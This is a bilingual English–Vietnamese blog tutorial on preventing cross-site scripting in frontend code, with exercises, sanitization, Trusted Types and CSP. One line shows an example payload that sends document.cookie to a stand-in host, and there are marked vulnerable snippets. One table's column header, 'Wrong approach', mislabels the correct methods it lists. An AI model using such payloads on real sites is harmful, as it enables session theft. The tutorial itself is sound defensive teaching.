jvinhit//lab

Search posts

Type to search across journal entries.

navigate open esc close

Web Security for Frontend Devs · Part 2 — Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) for frontend devs: why it tops the threat list, stored vs reflected vs DOM-based, dangerous sinks, textContent vs DOMPurify, escaping contexts, Trusted Types, and defense-in-depth — with exercises.

Part 2 of 10 in the Web Security for Frontend Devs series {Phần 2/10 trong series Web Security for Frontend Devs}. Previous {Trước}: Part 1 — The Browser Security Model & Same-Origin Policy · Next {Tiếp}: Part 3 — Content Security Policy (CSP).

This is Part 2 of a 10-part series on the web-security essentials every frontend developer should know — and actively prevent {Đây là Phần 2 của series 10 bài về những kiến thức bảo mật web mà mọi frontend dev nên biết — và chủ động phòng tránh}. Each part explains a real threat, shows vulnerable code, then the fix, and ends with exercises {Mỗi phần giải thích một mối đe dọa thật, cho xem code lỗ hổng, rồi cách sửa, và kết thúc bằng bài tập}.

In Part 1 you learned that the Same-Origin Policy isolates origins from each other {Ở Phần 1 bạn đã học Same-Origin Policy cô lập các origin với nhau}. Cross-Site Scripting (XSS) is the attack that breaks that isolation from the inside: the attacker makes your origin run their JavaScript {Cross-Site Scripting (XSS) là tấn công phá cô lập từ bên trong: kẻ tấn công khiến origin của bạn chạy JavaScript của họ}. Once that happens, the malicious script has the same privileges as your app — not a cross-origin read problem, but full insider access {Khi đó, script độc có cùng quyền như app bạn — không phải vấn đề đọc cross-origin, mà là quyền truy cập nội bộ đầy đủ}.


Why XSS is the #1 frontend threat {Vì sao XSS là mối đe dọa frontend số 1}

XSS consistently ranks at the top of real-world web vulnerability lists because the payoff is immediate and total {XSS liên tục nằm đầu danh sách lỗ hổng web thực tế vì lợi ích tấn công là tức thì và toàn diện}. The injected script runs as the victim user on your origin {Script được inject chạy với danh tính nạn nhân trên origin của bạn}:

  • Read anything in the page the user can see (DOM, in-memory state) {Đọc mọi thứ trên trang người dùng nhìn thấy (DOM, state trong bộ nhớ)}.
  • Perform actions as the user (click buttons, submit forms, call your APIs with cookies attached) {Thực hiện hành động thay người dùng (bấm nút, gửi form, gọi API kèm cookie)}.
  • Exfiltrate session cookies or tokens in localStorage — unless you’ve layered other defenses (Part 5) {Đánh cắp cookie phiên hoặc token trong localStorage — trừ khi bạn xếp lớp phòng thủ khác (Phần 5)}.
  • Keylog, deface the UI, pivot to admin if the victim is privileged {Keylog, phá giao diện, leo thang lên admin nếu nạn nhân có quyền cao}.

Mental model {Mô hình tư duy}: XSS is not “someone else’s site attacking yours.” It’s your site attacking your user on your behalf {XSS không phải “site khác tấn công bạn.” Đó là site của bạn tấn công người dùng thay mặt bạn}.


Three flavors of XSS {Ba kiểu XSS}

All XSS share one outcome — attacker-controlled JS runs in the victim’s browser on your origin — but where the payload enters differs {Mọi XSS cùng một kết quả — JS do kẻ tấn công kiểm soát chạy trên origin bạn — nhưng payload vào từ đâu khác nhau}.

Stored (persistent) {Stored (lưu lâu dài)}

The payload is saved on the server (database, file, cache) and later served to other users {Payload lưu trên server (DB, file, cache) rồi phục vụ cho người dùng khác}. Classic examples: comment fields, profile bios, support tickets, CMS content {Ví dụ kinh điển: ô comment, bio profile, ticket hỗ trợ, nội dung CMS}. One injection can compromise everyone who views that page {Một lần inject có thể ảnh hưởng mọi người xem trang đó}.

Reflected (non-persistent) {Reflected (không lưu)}

The payload is echoed from the current request — query string, form field, error message — and returned in the HTML response once {Payload phản hồi từ request hiện tại — query, form, thông báo lỗi — và trả về trong HTML một lần}. The victim must open a crafted link (or submit a form) {Nạn nhân phải mở link được tạo sẵn (hoặc gửi form)}. Lower blast radius than stored, still common in search boxes and login errors {Phạm vi nhỏ hơn stored, vẫn hay gặp ở ô tìm kiếm và lỗi đăng nhập}.

DOM-based {DOM-based}

The server never sees the malicious payload {Server không bao giờ thấy payload độc}. Untrusted data flows from the URL fragment, postMessage, WebSocket, or storage into a client-side sink (innerHTML, eval, …) without safe handling {Dữ liệu không tin cậy từ fragment URL, postMessage, WebSocket, hay storage chảy vào sink phía client mà không xử lý an toàn}. DevTools shows clean server HTML; the break is purely in your JS {DevTools thấy HTML server sạch; lỗ hổng nằm hoàn toàn trong JS của bạn}.

Attacker <script>…</script> App stores / reflects input Victim browser runs script as you steal cookies / tokens keylog · deface · pivot fix: escape on output, sanitize HTML, Trusted Types
XSS: untrusted input reaches a script sink — the browser runs attacker code with your origin's privileges

Dangerous sinks — where code actually runs {Sink nguy hiểm — nơi code thật sự chạy}

A sink is any API that interprets a string as HTML or JavaScript {Sink là API nào coi chuỗi là HTML hoặc JavaScript}. If attacker-controlled data reaches a sink without the right encoding or sanitization, you have XSS {Nếu dữ liệu do kẻ tấn công kiểm soát tới sink mà không encode/sanitize đúng, bạn có XSS}.

DOM HTML sinks {Sink HTML DOM}:

  • element.innerHTML, outerHTML, insertAdjacentHTML
  • document.write, document.writeln

JavaScript execution sinks {Sink thực thi JavaScript}:

  • eval, new Function(string)
  • setTimeout(string), setInterval(string) — the string overload, not the callback form

URL / navigation sinks {Sink URL / điều hướng}:

  • <a href="javascript:...">, location.href = userInput, window.open(untrusted)

Framework escape hatches (explicit opt-out of auto-escaping) {Cửa thoát framework (tắt escape tự động)}:

  • React: dangerouslySetInnerHTML
  • Vue: v-html
  • Angular: [innerHTML], bypassSecurityTrustHtml, bypassSecurityTrustUrl, …

Audit your codebase for these symbols the same way you’d audit eval {Rà soát codebase với các symbol này như bạn rà eval}. Every occurrence needs a documented reason and a safe data path {Mỗi chỗ cần lý do ghi rõ và luồng dữ liệu an toàn}.


Vulnerable pattern — and fixes {Mẫu lỗ hổng — và cách sửa}

The classic mistake {Lỗi kinh điển}

// ❌ VULNERABLE — treats user comment as HTML
const el = document.getElementById('comment');
el.innerHTML = userComment;

If userComment is <img src=x onerror="fetch('https://evil.example/steal?c='+document.cookie)">, the browser runs it {Nếu userComment<img src=x onerror="...">, trình duyệt sẽ chạy}.

Fix 1: treat untrusted data as text {Sửa 1: coi dữ liệu không tin cậy là text}

// ✅ SAFE — no HTML parsing
el.textContent = userComment;

Modern frameworks escape by default in template interpolation {Framework hiện đại escape mặc định khi interpolate template}:

// React — escaped automatically
<p>{userComment}</p>
<!-- Vue — text interpolation is escaped -->
<p>{{ userComment }}</p>
<!-- Angular — {{ }} binds as text -->
<p>{{ userComment }}</p>

Use escape hatches only when you intentionally need markup — and then sanitize {Chỉ dùng escape hatch khi cố ý cần markup — và khi đó phải sanitize}.

Fix 2: when you truly need HTML — sanitize {Sửa 2: khi thật sự cần HTML — sanitize}

Rich text editors, rendered Markdown, and legacy CMS fields need a subset of HTML {Editor rich text, Markdown render, field CMS cũ cần tập con HTML}. DOMPurify is the de-facto browser sanitizer: allow-list tags/attributes, strip scripts and event handlers {DOMPurify là sanitizer de-facto trên browser: allow-list tag/attribute, gỡ script và event handler}.

import DOMPurify from 'dompurify';

function renderUserHtml(dirty: string): string {
  return DOMPurify.sanitize(dirty, {
    USE_PROFILES: { html: true },
    // forbid risky URI schemes even inside allowed tags
    ALLOWED_URI_REGEXP: /^(?:(?:https?|mailto):|[^a-z]|[a-z+.-]+(?:[^a-z+.\-:]|$))/i,
  });
}

// ✅ SAFE assignment after sanitize
el.innerHTML = renderUserHtml(userComment);

Server-side sanitization (e.g. on write) is still required for stored XSS — the client can be bypassed {Sanitize phía server (khi ghi) vẫn bắt buộc cho stored XSS — client có thể bị bỏ qua}. Client sanitize is defense in depth for DOM-based paths and double-encoding bugs {Sanitize client là phòng thủ nhiều lớp cho DOM-based và lỗi encode kép}.

Fix 3: context matters — never concatenate HTML {Sửa 3: ngữ cảnh quan trọng — đừng nối chuỗi HTML}

Escaping rules differ by where the string lands {Quy tắc escape khác theo vị trí chuỗi được đặt}:

ContextExample sinkWrong approach
HTML bodyinnerHTMLHTML-entity encode or sanitize
HTML attributealt="${user}"Attribute-encode; quote-wrap
URLhref, srcValidate scheme; block javascript:
JS stringinline script, JSON-in-scriptJS-string escape; prefer JSON.parse from application/json
CSSstyleStrict allow-list; never raw user CSS
// ❌ VULNERABLE — HTML context + string concat
const html = `<div class="card">${userName}</div>`;
container.innerHTML = html;

// ✅ BETTER — separate structure from data
const card = document.createElement('div');
card.className = 'card';
card.textContent = userName;
container.replaceChildren(card);

URL sinks: never pass untrusted strings to href or location without validation {Sink URL: đừng đưa chuỗi không tin cậy vào href hay location mà không validate}.

function safeHttpUrl(raw: string): string | null {
  try {
    const u = new URL(raw, window.location.origin);
    if (u.protocol === 'https:' || u.protocol === 'http:') return u.href;
  } catch {
    /* invalid URL */
  }
  return null;
}

// block javascript: and data: in navigation
const target = safeHttpUrl(userSuppliedLink);
if (target) link.href = target;

Trusted Types — gate dangerous sinks {Trusted Types — chặn sink nguy hiểm}

Trusted Types (Chromium-family browsers; polyfill available) turns dangerous DOM assignments into typed values produced only by your policies {Trusted Types biến gán DOM nguy hiểm thành giá trị có kiểu chỉ policy của bạn tạo ra}. Pair with CSP directive require-trusted-types-for 'script' {Kết hợp directive CSP require-trusted-types-for 'script'}.

Content-Security-Policy:
  require-trusted-types-for 'script';
  trusted-types appHtmlPolicy;
if (window.trustedTypes) {
  const policy = window.trustedTypes.createPolicy('appHtmlPolicy', {
    createHTML: (input: string) => DOMPurify.sanitize(input),
  });

  function setRichHtml(el: HTMLElement, dirty: string): void {
    const trusted = policy.createHTML(dirty);
    el.innerHTML = trusted; // only TrustedHTML accepted when enforcement is on
  }
}

Raw strings assigned to innerHTML throw at runtime — forcing every sink through an audited policy {Chuỗi thô gán vào innerHTML ném lỗi runtime — buộc mọi sink qua policy đã audit}. This catches regressions in code review and CI {Bắt regression trong review và CI}.


Defense in depth — what XSS cannot undo alone {Phòng thủ nhiều lớp — XSS không thể phá hết một mình}

No single fix is sufficient; stack layers so one mistake is not game over {Không có một fix đơn lẻ đủ; xếp lớp để một sai sót không kết thúc trận}.

Content Security Policy (CSP)Part 3 {Content Security Policy (CSP)Phần 3}: restrict which scripts may execute (script-src, nonces, hashes), block inline handlers, and report violations {hạn chế script nào được chạy, chặn handler inline, báo cáo vi phạm}. CSP is not a substitute for output encoding, but it limits blast radius when a sink slips through {CSP không thay encode output, nhưng giới hạn thiệt hại khi một sink lọt}.

httpOnly session cookiesPart 5 {Cookie phiên httpOnlyPhần 5}: if the session token lives only in an httpOnly cookie, document.cookie and many exfiltration snippets return nothing {nếu token phiên chỉ trong cookie httpOnly, document.cookie và nhiều snippet đánh cắp không đọc được gì}. The attacker may still ride the session (submit forms, call APIs) — so XSS remains critical — but token theft to an external server is harder {Kẻ tấn công vẫn có thể mượn phiên (gửi form, gọi API) — XSS vẫn nghiêm trọng — nhưng đánh cắp token ra server ngoài khó hơn}.

Same-Origin Policy from Part 1 does not stop XSS on your own pages — the malicious script is same-origin {SOP từ Phần 1 không chặn XSS trên trang của bạn — script độc đã cùng origin}. SOP helps limit where stolen data can be sent, not whether it can be read locally {SOP giúp giới hạn nơi dữ liệu đánh cắp gửi đi, không phải việc đọc cục bộ}.


Prevention checklist {Checklist phòng tránh}

Before you ship a feature that renders user content {Trước khi ship tính năng hiển thị nội dung người dùng}:

  1. Default to text, not HTML — textContent, framework {} binding {Mặc định text, không HTML}.
  2. If HTML is required, sanitize (DOMPurify + server-side on persist) {Nếu cần HTML, sanitize}.
  3. Never build HTML with template literals + untrusted data {Đừng dựng HTML bằng template literal + dữ liệu không tin cậy}.
  4. Block javascript: (and suspicious data:) in URLs {Chặn javascript: trong URL}.
  5. Enable CSP and consider Trusted Types on high-risk apps {Bật CSP và cân nhắc Trusted Types trên app rủi ro cao}.
  6. Store session tokens in httpOnly cookies where possible (Part 5) {Lưu token phiên trong cookie httpOnly khi có thể (Phần 5)}.

Bài tập / Exercises

1. Classify each scenario as stored, reflected, or DOM-based, and name the likely sink {Phân loại mỗi tình huống là stored, reflected, hay DOM-based, và nêu sink có khả năng}: (a) A forum post containing <script> is saved and shown on every visitor’s thread page. (b) https://shop.com/search?q=<script>… echoes q inside a <h1> without encoding. (c) https://app.com/#/profile?name=… — a SPA reads location.hash and assigns it to innerHTML.

Solution {Lời giải}

(a) Stored — persisted comment, served to others; sink likely server template or client render of stored HTML {Stored — comment lưu DB, sink template server hoặc render HTML lưu}. (b) Reflected — payload in request, echoed once; sink server-side HTML or innerHTML on search results {Reflected — payload trong request, phản hồi một lần}. (c) DOM-based — server may not see fragment; sink innerHTML (or similar) in client router code {DOM-based — server có thể không thấy fragment; sink innerHTML trong router client}.

2. Fix the vulnerable snippet using either textContent or DOMPurify (your choice, justify in one sentence) {Sửa đoạn lỗ hổng bằng textContent hoặc DOMPurify (chọn một, giải thích một câu)}:

function showBio(el, bio) {
  el.innerHTML = bio;
}
Solution {Lời giải}

If bio is plain text only {Nếu bio chỉ là text thuần}:

function showBio(el, bio) {
  el.textContent = bio;
}

If limited HTML (links, bold) is required {Nếu cần HTML giới hạn (link, bold)}:

import DOMPurify from 'dompurify';

function showBio(el: HTMLElement, bio: string): void {
  el.innerHTML = DOMPurify.sanitize(bio);
}

Use textContent when you don’t need markup; sanitize when you do {Dùng textContent khi không cần markup; sanitize khi cần}.

3. Which of these are safe on a page that may contain attacker-controlled strings? Mark safe / unsafe and why {Cái nào an toàn trên trang có thể chứa chuỗi do kẻ tấn công kiểm soát? Đánh dấu safe/unsafe và vì sao}: (a) el.textContent = userInput (b) el.innerHTML = userInput (c) setTimeout(() => doWork(userInput), 0) — callback form (d) setTimeout(userInput, 0) — string form (e) <a href={userInput}> in React without validation

Solution {Lời giải}

(a) Safe — text node, no HTML/JS interpretation {An toàn — text node}. (b) Unsafe — HTML sink {Không an toàn — sink HTML}. (c) SafeuserInput passed as data to a function, not compiled as code (still validate if used in URLs/DOM later) {An toàn — truyền data, không compile thành code}. (d) Unsafe — string overload of setTimeout is eval-class sink {Không an toàn — overload chuỗi như eval}. (e) Unsafe without scheme check — javascript: URLs execute; validate to http(s): only {Không an toàn nếu không check scheme — javascript: chạy được}.

Stretch {Nâng cao}: Add a minimal Trusted Types policy in a local demo: CSP header with require-trusted-types-for 'script', one createHTML policy using DOMPurify, and prove that assigning a raw string to innerHTML throws while policy.createHTML(dirty) succeeds {Thêm policy Trusted Types tối thiểu: CSP require-trusted-types-for 'script', một policy createHTML với DOMPurify, chứng minh gán chuỗi thô vào innerHTML ném lỗi còn policy.createHTML(dirty) thành công}.

Solution {Lời giải}

Serve (or meta-tag) CSP: require-trusted-types-for 'script'; trusted-types default {Phục vụ CSP với trusted-types default}. Register policy, assign only createHTML output to innerHTML. DevTools console should show TypeError on raw string assignment when enforcement is active {Gán chuỗi thô ném TypeError khi enforcement bật}.


Key takeaways {Điểm chính}

  • XSS = attacker JavaScript running on your origin with the victim’s privileges — the top frontend security failure mode {XSS = JS kẻ tấn công chạy trên origin bạn với quyền nạn nhân}.
  • Stored, reflected, and DOM-based differ by where untrusted data enters; all need safe output handling {Stored, reflected, DOM-based khác nhau ở chỗ data vào; tất cả cần xử lý output an toàn}.
  • Sinks (innerHTML, eval, javascript: URLs, framework escape hatches) are where prevention must focus {Sink là trọng tâm phòng tránh}.
  • Prefer textContent / auto-escaping; sanitize HTML with DOMPurify; match escaping to context; validate URLs {Ưu tiên textContent / auto-escape; sanitize bằng DOMPurify; escape đúng ngữ cảnh; validate URL}.
  • Layer CSP (Part 3), Trusted Types, and httpOnly cookies (Part 5) so one missed sink is not catastrophic {Xếp CSP (Phần 3), Trusted Types, httpOnly (Phần 5) để một sink sót không gây thảm họa}.

Next up {Tiếp theo}

Part 3 — Content Security Policy (CSP): turn the browser into an enforcement agent — script-src, nonces, reporting, and how CSP complements everything you fixed in Part 2 {Phần 3 — Content Security Policy (CSP): biến trình duyệt thành cơ chế thực thi — script-src, nonce, báo cáo, và cách CSP bổ sung mọi thứ bạn sửa ở Phần 2}. Continue to Part 3 — Content Security Policy (CSP).